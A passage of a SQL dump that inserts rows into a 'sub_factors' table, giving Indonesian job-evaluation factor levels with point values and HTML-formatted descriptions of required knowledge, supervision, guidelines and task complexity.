(42, 'Tingkat faktor 1-5', 750, '<p style=\"margin-left:0cm; margin-right:0cm; text-align:justify\"><span style=\"font-size:10pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Pengetahuan (yang diperoleh melalui program pendidikan sarjana atau yang setara dalam pengalaman, pelatihan, atau belajar sendiri) dasar tentang prinsip, konsep, dan metodologi pekerjaan profesional atau pekerjaan administratif, dan keterampilan dalam penerapan pengetahuan tersebut untuk melaksanakan tugas, operasi, atau prosedur dasar; </span></span></span></span></p>\r\n\r\n<h1 style=\"margin-left:63pt; margin-right:0cm; text-align:justify\"><span style=\"font-size:12pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">ATAU</span></span></span></h1>\r\n\r\n<p style=\"margin-left:0cm; margin-right:0cm; text-align:justify\"><span style=\"font-size:10pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Sebagai tambahan pengetahuan praktis pada tingkat faktor 1-4, pengetahuan praktis tentang metode teknis melaksanakan pekerjaan seperti proyek yang membutuhkan teknik yang rumit dan khusus;</span></span></span></span></p>\r\n\r\n<h2 style=\"margin-left:0cm; margin-right:0cm; text-align:justify\"><span style=\"font-size:16pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">ATAU</span></span></span></span></h2>\r\n\r\n<p><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Pengetahuan dan keterampilan yang setara.</span></span></p>', 15, '2018-10-24 00:25:32', '2018-10-24 00:25:32'),
(43, 'Tingkat faktor 1-6', 950, '<p style=\"margin-left:0cm; margin-right:0cm; text-align:justify\"><span style=\"font-size:10pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Pengetahuan tentang prinsip, konsep, dan metodologi pekerjaan profesional atau pekerjaan administratif seperti pada tingkat faktor 1-5, yang: (a) ditambah dengan keterampilan yang diperoleh melalui pengalaman mengerjakan sendiri pekerjaan yang berulang, atau (b) ditambah dengan pengembangan pengetahuan profesional atau pengetahuan administratif yang diperoleh melalui pengalaman atau lulus sarjana yang relevan, yang memberikan keahlian dalam pelaksanaan tugas, operasi dan prosedur pekerjaan yang secara signifikan lebih sulit dan rumit dari yang dicakup pada tingkat faktor 1-5; </span></span></span></span></p>\r\n\r\n<h2 style=\"margin-left:0cm; margin-right:0cm; text-align:justify\"><span style=\"font-size:16pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">ATAU</span></span></span></span></h2>\r\n\r\n<p style=\"margin-left:0cm; margin-right:0cm; text-align:justify\"><span style=\"font-size:10pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Pengetahuan praktis dengan cakupan yang luas tentang metode, teknik, prinsip dan praktek yang serupa untuk pekerjaan profesional yang sempit, dan keterampilan dalam penerapan pengetahuan tersebut dalam pekerjaan desain dan perencanaan yang sulit tapi merupakan proyek yang dijadikan contoh;</span></span></span></span></p>\r\n\r\n<h2 style=\"margin-left:0cm; margin-right:0cm; text-align:justify\"><span style=\"font-size:16pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">ATAU</span></span></span></span></h2>\r\n\r\n<p><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Pengetahuan dan keterampilan setara.</span></span></p>', 15, '2018-10-24 00:26:06', '2018-10-24 00:26:06'),
(44, 'Tingkat faktor 1-7', 1250, '<p style=\"margin-left:0cm; margin-right:0cm; text-align:justify\"><span style=\"font-size:10pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Pengetahuan tentang berbagai konsep, prinsip, dan praktek pekerjaan profesional atau pekerjaan administratif, yang dapat diperoleh melalui pendidikan diatas sarjana atau pengalaman yang luas, dan keterampilan didalam penerapan pengetahuan tersebut dalam pekerjaan yang sulit dan kompleks; </span></span></span></span></p>\r\n\r\n<h2 style=\"margin-left:0cm; margin-right:0cm; text-align:justify\"><span style=\"font-size:16pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">ATAU</span></span></span></span></h2>\r\n\r\n<p style=\"margin-left:0cm; margin-right:0cm; text-align:justify\"><span style=\"font-size:10pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Pengetahuan praktis yang komprehensif dan intensif dari suatu bidang teknik, dan keterampilan dalam penerapan pengetahuan tersebut dalam pengembangan metode, pendekatan, atau prosedur baru; </span></span></span></span></p>\r\n\r\n<h2 style=\"margin-left:0cm; margin-right:0cm; text-align:justify\"><span style=\"font-size:16pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">ATAU</span></span></span></span></h2>\r\n\r\n<p><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Pengetahuan dan keterampilan setara.</span></span></p>', 15, '2018-10-24 00:26:37', '2018-10-24 00:26:37'),
(45, 'Tingkat faktor 1-8', 1550, '<p style=\"margin-left:0cm; margin-right:0cm; text-align:justify\"><span style=\"font-size:10pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Pakar pekerjaan profesional atau pekerjaan administratif untuk:</span></span></span></span></p>\r\n\r\n<ol>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:10pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">menerapkan teori eksperimental dan pengembangan baru dalam masalah yang tidak sesuai dengan metode yang telah dapat diterima;</span></span></span></span></li>\r\n</ol>\r\n\r\n<h2 style=\"margin-left:0cm; margin-right:0cm; text-align:justify\"><span style=\"font-size:16pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">ATAU</span></span></span></span></h2>\r\n\r\n<ol start=\"2\">\r\n	<li style=\"text-align:justify\"><span style=\"font-size:10pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">membuat keputusan atau rekomendasi yang secara signifikan merubah, menafsirkan, atau mengembangkan program atau kebijakan publik yang penting;</span></span></span></span></li>\r\n</ol>\r\n\r\n<h2 style=\"margin-left:0cm; margin-right:0cm; text-align:justify\"><span style=\"font-size:16pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">ATAU</span></span></span></span></h2>\r\n\r\n<p><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Pengetahuan dan keterampilan yang setara.</span></span></p>', 15, '2018-10-24 00:27:08', '2018-10-24 00:27:08'),
(46, 'Tingkat faktor 1-9', 1850, '<p style=\"margin-left:0cm; margin-right:0cm; text-align:justify\"><span style=\"font-size:10pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Pakar pekerjaan profesional untuk menciptakan dan mengembangkan teori dan hipotesa baru.</span></span></span></span></p>\r\n\r\n<p style=\"margin-left:0cm; margin-right:0cm; text-align:justify\"><span style=\"font-size:10pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><strong><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">ATAU </span></span></strong></span></span></p>\r\n\r\n<p><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Pengetahuan dan keterampilan yang setara.</span></span></p>', 15, '2018-10-25 18:05:08', '2018-10-25 18:05:08'),
(47, 'Tingkat faktor 2-1', 25, '<p style=\"margin-left:0cm; margin-right:0cm; text-align:justify\"><span style=\"font-size:10pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Untuk tugas sejenis dan berulang, penyelia membuat tugas tertentu disertai dengan instruksi yang jelas, terperinci, dan spesifik.</span></span></span></span></p>\r\n\r\n<p style=\"margin-left:0cm; margin-right:0cm; text-align:justify\"><span style=\"font-size:10pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Pegawai bekerja sesuai instruksi dan berkonsultasi dengan penyelia sebagaimana dibutuhkan untuk semua persoalan yang tidak spesifik dicakup di dalam instruksi atau pedoman.</span></span></span></span></p>\r\n\r\n<p><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Untuk semua jabatan, pekerjaan diawasi dengan teliti. Untuk beberapa jabatan, pengawasan berdasarkan sifat pekerjaan itu sendiri; untuk jabatan yang lain, pekerjaan diawasi sebagaimana pekerjaan itu dilaksanakan. Dalam situasi tertentu, penyelia melakukan peninjauan pekerjaan, termasuk pengecekan kemajuan pekerjaan atau peninjauan pekerjaan yang telah selesai untuk tujuan keakuratan, kecukupan, dan ketaatan pada instruksi dan prosedur yang ditetapkan.</span></span></p>', 16, '2018-10-25 18:05:47', '2018-10-25 18:05:47');
INSERT INTO `sub_factors` (`sub_factor_id`, `sub_factor_title`, `sub_factor_value`, `sub_factor_desc`, `factor_id`, `created_at`, `updated_at`) VALUES
(48, 'Tingkat faktor 2-2', 125, '<p style=\"margin-left:0cm; margin-right:0cm; text-align:justify\"><span style=\"font-size:10pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Penyelia memberikan tugas berkelanjutan atau tugas tertentu dengan mengindikasikan secara umum apa yang harus diselesaikan, batasan, kualitas, dan kuantitas yang diharapkan, batas waktu dan prioritas tugas. Penyelia memberikan tambahan instruksi untuk tugas baru, sulit, atau yang tidak biasa, termasuk metode kerja yang disarankan atau saran pada sumber materi yang tersedia.</span></span></span></span></p>\r\n\r\n<p style=\"margin-left:0cm; margin-right:0cm; text-align:justify\"><span style=\"font-size:10pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Pegawai menggunakan inisiatif dalam melaksanakan tugas yang berulang secara mandiri tanpa instruksi spesifik, tapi melaporkan deviasi, masalah, dan situasi yang tidak lazim yang tidak dicakup dalam instruksi kepada penyelia untuk membuat keputusan atau meminta bantuan.</span></span></span></span></p>\r\n\r\n<p><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Penyelia menjamin bahwa pekerjaan yang telah selesai dan metode yang digunakan adalah secara teknik akurat dan memenuhi instruksi atau prosedur yang ada. Tinjauan pekerjaan meningkat sesuai dengan tugas yang lebih sulit dan pegawai tidak melaksanakan tugas yang sama sebelumnya.</span></span></p>', 16, '2018-10-25 18:06:19', '2018-10-25 18:06:19'),
(49, 'Tingkat faktor 2-3', 275, '<p style=\"margin-left:0cm; margin-right:0cm; text-align:justify\"><span style=\"font-size:10pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Penyelia memberikan tugas dengan tujuan, prioritas, dan batas waktu yang ditentukan, dan membantu pegawai pada situasi yang tidak lazim dan belum ada contoh yang jelas.</span></span></span></span></p>\r\n\r\n<p style=\"margin-left:0cm; margin-right:0cm; text-align:justify\"><span style=\"font-size:10pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Pegawai merencanakan dan melaksanakan langkah-langkah yang sesuai dan menangani masalah dan deviasi pekerjaan sesuai dengan instruksi, kebijakan, latihan sebelumnya, atau praktek yang berlaku.</span></span></span></span></p>\r\n\r\n<p><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Pekerjaan yang telah selesai biasanya dievaluasi untuk kesesuaian teknik, kelayakan dan kesesuaian pada kebijakan dan persyaratan. Metode yang digunakan untuk mendapatkan hasil akhir biasanya tidak ditinjau secara terperinci.</span></span></p>', 16, '2018-10-25 18:06:58', '2018-10-25 18:06:58'),
(50, 'Tingkat faktor 2-4', 450, '<p style=\"margin-left:0cm; margin-right:0cm; text-align:justify\"><span style=\"font-size:10pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Penyelia menentukan tujuan dan sumber daya yang tersedia. Pegawai dan penyelia berkonsultasi mengembangkan batas waktu, proyek, dan pekerjaan yang harus dilakukan.</span></span></span></span></p>\r\n\r\n<p style=\"margin-left:0cm; margin-right:0cm; text-align:justify\"><span style=\"font-size:10pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Pegawai yang mempunyai keahlian dalam pekerjaan, bertanggungjawab untuk perencanaan dan pelaksanaan tugas, pemecahan sebagian besar konflik yang timbul, pengkoordinasian pekerjaan dengan yang lainnya sebagaimana diperlukan, dan menginterpretasikan kebijakan atas inisiatif sendiri sesuai dengan tujuan yang ditetapkan. Dalam beberapa pekerjaan, pegawai menentukan pendekatan dan metodologi yang akan digunakan. Pegawai menginformasikan penyelia kemajuan dan masalah kontroversial.</span></span></span></span></p>\r\n\r\n<p><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Pekerjaan yang telah selesai dievaluasi secara umum dalam hal kelayakan, kesesuaian dengan pekerjaan yang lain, atau keefektifan dalam memenuhi persyaratan atau hasil yang diharapkan.</span></span></p>', 16, '2018-10-25 18:07:41', '2018-10-25 18:07:41'),
(51, 'Tingkat faktor 2-5', 650, '<p style=\"margin-left:0cm; margin-right:0cm; text-align:justify\"><span style=\"font-size:10pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Penyelia memberikan tugas dengan petunjuk dalam terminologi misi atau fungsi yang didefenisikan dengan luas.</span></span></span></span></p>\r\n\r\n<p style=\"margin-left:0cm; margin-right:0cm; text-align:justify\"><span style=\"font-size:10pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Pegawai mempunyai tanggungjawab untuk perencanaan, desain, dan pelaksanaan program, proyek, studi, atau pekerjaan secara mandiri.</span></span></span></span></p>\r\n\r\n<p><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Hasil kerja dipertimbangkan secara teknis dan biasanya diterima tanpa perubahan yang besar. Jika pekerjaan dievaluasi, evaluasi dalam hal seperti kesesuaian dengan tujuan program, dampak dari saran dan pengaruh pada seluruh program, atau kontribusi pada kemajuan teknologi. Rekomendasi proyek baru dan perubahan tujuan biasanya dievaluasi untuk pertimbangan ketersediaan dana, sumber-sumber lain, tujuan program secara luas, atau prioritas nasional.</span></span></p>', 16, '2018-10-25 18:08:13', '2018-10-25 18:08:13'),
(52, 'Tingkat faktor 3-1', 25, '<p style=\"margin-left:0cm; margin-right:0cm; text-align:justify\"><span style=\"font-size:10pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Pedoman terperinci dan khusus, yang meliputi semua aspek penting tugas yang diberikan kepada pegawai.</span></span></span></span></p>\r\n\r\n<p><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Pegawai harus patuh dan taat pada pedoman, penyimpangan harus disetujui oleh penyelia.</span></span></p>', 17, '2018-10-25 18:10:57', '2018-10-25 18:10:57'),
(53, 'Tingkat faktor 3-2', 125, '<p><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Prosedur melaksanakan pekerjaan ditetapkan dan sejumlah pedoman tersedia. Pegawai mengunakan pertimbangan dalam memilih pedoman, referensi, dan prosedur yang paling tepat untuk diterapkan pada kasus tertentu dengan deviasi yang terkecil (minor). Pegawai dapat menentukan alternatif yang ada untuk digunakan. Situasi dimana pedoman yang ada tidak dapat diterapkan atau terjadi penyimpangan dari pedoman yang diajukan harus mengacu pada penyelia.</span></span></p>', 17, '2018-10-25 18:12:08', '2018-10-25 18:12:08'),
(62, 'Tingkat faktor 3-3', 275, '<p style=\"margin-left:0cm; margin-right:0cm; text-align:justify\"><span style=\"font-size:10pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Pedoman tersedia tapi tidak sepenuhnya dapat diterapkan pada pekerjaan atau mempunyai gap (kesenjangan) dalam spesifikasi.</span></span></span></span></p>\r\n\r\n<p><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Pegawai menggunakan pertimbangan dalam menginterpretasikan dan mengadaptasikan pedoman seperti kebijakan lembaga, peraturan, dan langkah kerja untuk penerapan pada masalah atau kasus tertentu. Pegawai menganalisa hasil dan merekomendasikan perubahan.</span></span></p>', 17, '2018-10-25 18:27:30', '2018-10-25 18:27:30'),
(63, 'Tingkat faktor 3-4', 450, '<p style=\"margin-left:0cm; margin-right:0cm; text-align:justify\"><span style=\"font-size:10pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Kebijakan dan peraturan dapat diterapkan tetapi dinyatakan dalam terminologi umum. Pedoman pelaksanaan pekerjaan langka atau penggunaannya terbatas.</span></span></span></span></p>\r\n\r\n<p><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Pegawai menggunakan inisiatif dan akal pikiran dalam penyimpangan dari metode atau kecenderungan dan pola yang ada untuk mengembangkan metode, kriteria, atau kebijakan baru.</span></span></p>', 17, '2018-10-25 18:28:16', '2018-10-25 18:28:16'),
(70, 'Tingkat faktor 3-5', 650, '<p style=\"margin-left:0cm; margin-right:0cm; text-align:justify\"><span style=\"font-size:10pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Pedoman dinyatakan secara luas dan tidak spesifik, antara lain, pernyataan kebijakan secara luas dan peraturan yang membutuhkan interpretasi yang luas.</span></span></span></span></p>\r\n\r\n<p><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Pegawai harus menggunakan pertimbangan dan kecerdasan menginterpretasikan maksud dari pedoman yang ada untuk pemakaiannya pada pekerjaan. Pegawai diberikan wewenang teknis untuk mengembangkan dan menginterpretasikan pedoman.</span></span></p>', 17, '2018-10-29 18:33:26', '2018-10-29 18:33:26'),
(71, 'Tingkat faktor 4-1', 25, '<p style=\"margin-left:0cm; margin-right:0cm; text-align:justify\"><span style=\"font-size:10pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Pekerjaan terdiri dari tugas-tugas yang jelas dan berhubungan secara langsung. </span></span></span></span></p>\r\n\r\n<p style=\"margin-left:0cm; margin-right:0cm; text-align:justify\"><span style=\"font-size:10pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Sedikit atau sama sekali tidak ada pilihan yang harus dibuat di dalam memutuskan apa yang harus dilakukan. </span></span></span></span></p>\r\n\r\n<p style=\"margin-left:0cm; margin-right:0cm; text-align:justify\"><span style=\"font-size:10pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Tindakan yang akan diambil atau respons yang harus dibuat sudah dapat dilihat. </span></span></span></span></p>\r\n\r\n<p><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Pekerjaan secara cepat dapat dikuasai.</span></span></p>', 18, '2018-10-29 18:34:10', '2018-10-29 18:34:10'),
(72, 'Tingkat faktor 4-2', 75, '<p style=\"margin-left:0cm; margin-right:0cm; text-align:justify\"><span style=\"font-size:10pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Pekerjaan terdiri dari tugas yang mencakup langkah, proses, atau metode yang berhubungan.</span></span></span></span></p>\r\n\r\n<p style=\"margin-left:0cm; margin-right:0cm; text-align:justify\"><span style=\"font-size:10pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Keputusan mengenai apa yang harus dilakukan, mencakup berbagai macam pilihan yang mempersyaratkan pegawai perlu mengenali keberadaan dan perbedaan diantara beberapa situasi yang secara mudah dapat dikenali.</span></span></span></span></p>\r\n\r\n<p><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Tindakan yang diambil atau respons yang dibuat adalah berbeda tergantung pada sumber informasi, cara mendapatkan informasi (transaksi), atau perbedaan sifat faktual lainnya.</span></span></p>', 18, '2018-10-29 18:34:59', '2018-10-29 18:34:59'),
(73, 'Tingkat faktor 4-3', 150, '<p style=\"margin-left:0cm; margin-right:0cm; text-align:justify\"><span style=\"font-size:10pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Pekerjaan mencakup berbagai tugas yang melibatkan proses dan metode yang berbeda dan tidak berhubungan. </span></span></span></span></p>\r\n\r\n<p style=\"margin-left:0cm; margin-right:0cm; text-align:justify\"><span style=\"font-size:10pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Keputusan mengenai apa yang harus dilakukan, tergantung pada analisa subjek, fase, atau persoalan yang terlibat dalam setiap tugas, atau tindakan yang diambil harus dipilih dari berbagai macam alternatif.</span></span></span></span></p>\r\n\r\n<p><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Pekerjaan melibatkan kondisi dan elemen yang harus diidentifikasi dan dianalisa untuk melihat hubungan timbal balik.</span></span></p>', 18, '2018-10-29 18:35:39', '2018-10-29 18:35:39'),
(74, 'Tingkat faktor 4-4', 225, '<p style=\"margin-left:0cm; margin-right:0cm; text-align:justify\"><span style=\"font-size:10pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Pekerjaan mencakup berbagai tugas yang membutuhkan berbagai macam proses dan metode yang berbeda dan tidak berhubungan, seperti tugas yang berhubungan dengan bidang pekerjaan administratif atau bidang pekerjaan profesional.</span></span></span></span></p>\r\n\r\n<p style=\"margin-left:0cm; margin-right:0cm; text-align:justify\"><span style=\"font-size:10pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Keputusan mengenai apa yang harus dilakukan, membutuhkan penilaian dari keadaan yang tidak lazim, variasi pendekatan, dan data yang tidak lengkap atau yang bermasalah.</span></span></span></span></p>\r\n\r\n<p><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Pekerjaan mempersyaratkan beberapa keputusan tentang penginterpretasian data yang sangat besar, perencanaan kerja, atau penyempurnaan metode dan teknik yang akan digunakan.</span></span></p>', 18, '2018-10-29 18:36:27', '2018-10-29 18:36:27'),
(75, 'Tingkat faktor 4-5', 325, '<p style=\"margin-left:0cm; margin-right:0cm; text-align:justify\"><span style=\"font-size:10pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Pekerjaan mencakup berbagai tugas yang membutuhkan berbagai macam proses dan metode yang berbeda dan tidak berhubungan, yang diterapkan pada suatu aktifitas yang luas atau analisa yang sangat dalam, khususnya untuk bidang pekerjaan administratif dan bidang pekerjaan profesional.</span></span></span></span></p>\r\n\r\n<p style=\"margin-left:0cm; margin-right:0cm; text-align:justify\"><span style=\"font-size:10pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Keputusan mengenai apa yang harus dilakukan, membutuhkan ketidakpastian yang besar dalam hal pendekatan, metodologi, atau interpretasi dan evaluasi proses, yang dihasilkan dari suatu unsur yang berubah dan berkelanjutan dalam program, pengembangan teknologi, fenomena yang tidak dapat diduga, atau persyaratan yang bermasalah.&nbsp; </span></span></span></span></p>\r\n\r\n<p><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Pekerjaan membutuhkan teknik baru, penetapan kriteria baru, atau pengembangan informasi baru.</span></span></p>', 18, '2018-10-29 18:36:56', '2018-10-29 18:36:56'),
(76, 'Tingkat faktor 4-6', 450, '<p style=\"margin-left:0cm; margin-right:0cm; text-align:justify\"><span style=\"font-size:10pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Pekerjaan terdiri dari fungsi dan proses yang luas dari bidang pekerjaan administratif dan pekerjaan profesional. Tugas ditandai dengan luas dan tingginya intensitas usaha yang diperlukan dan melibatkan beberapa fase yang harus diikuti secara bersamaan dengan dukungan dari dalam atau dari luar organisasi.&nbsp; </span></span></span></span></p>\r\n\r\n<p style=\"margin-left:0cm; margin-right:0cm; text-align:justify\"><span style=\"font-size:10pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Keputusan mengenai apa yang harus dilakukan, membutuhkan banyak isu atau elemen&nbsp; yang tidak terdefinisikan, yang membutuhkan analisa dan pembuktian yang ekstensif untuk menentukan sifat dan lingkup masalah.</span></span></span></span></p>\r\n\r\n<p><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Pekerjaan membutuhkan usaha yang berkelanjutan untuk menetapkan konsep, teori, atau program, atau untuk memecahkan masalah yang sulit.</span></span></p>', 18, '2018-10-29 18:37:55', '2018-10-29 18:37:55'),
(77, 'Tingkat faktor 5-1', 25, '<p style=\"margin-left:0cm; margin-right:0cm; text-align:justify\"><span style=\"font-size:10pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Tugas meliputi pekerjaan tertentu bersifat rutin dengan beberapa prosedur yang terpisah.</span></span></span></span></p>\r\n\r\n<p><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Hasil kerja dan jasa yang diberikan untuk memfasilitasi pekerjaan orang lain tetapi mempunyai sedikit dampak di luar unit organisasi langsung.</span></span></p>', 19, '2018-10-29 18:38:28', '2018-10-29 18:38:28'),
(78, 'Tingkat faktor 5-1', 25, '<p style=\"margin-left:0cm; margin-right:0cm; text-align:justify\"><span style=\"font-size:10pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Tugas meliputi pekerjaan tertentu bersifat rutin dengan beberapa prosedur yang terpisah.</span></span></span></span></p>\r\n\r\n<p><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Hasil kerja dan jasa yang diberikan untuk memfasilitasi pekerjaan orang lain tetapi mempunyai sedikit dampak di luar unit organisasi langsung.</span></span></p>', 19, '2018-10-29 18:38:29', '2018-10-29 18:38:29'),
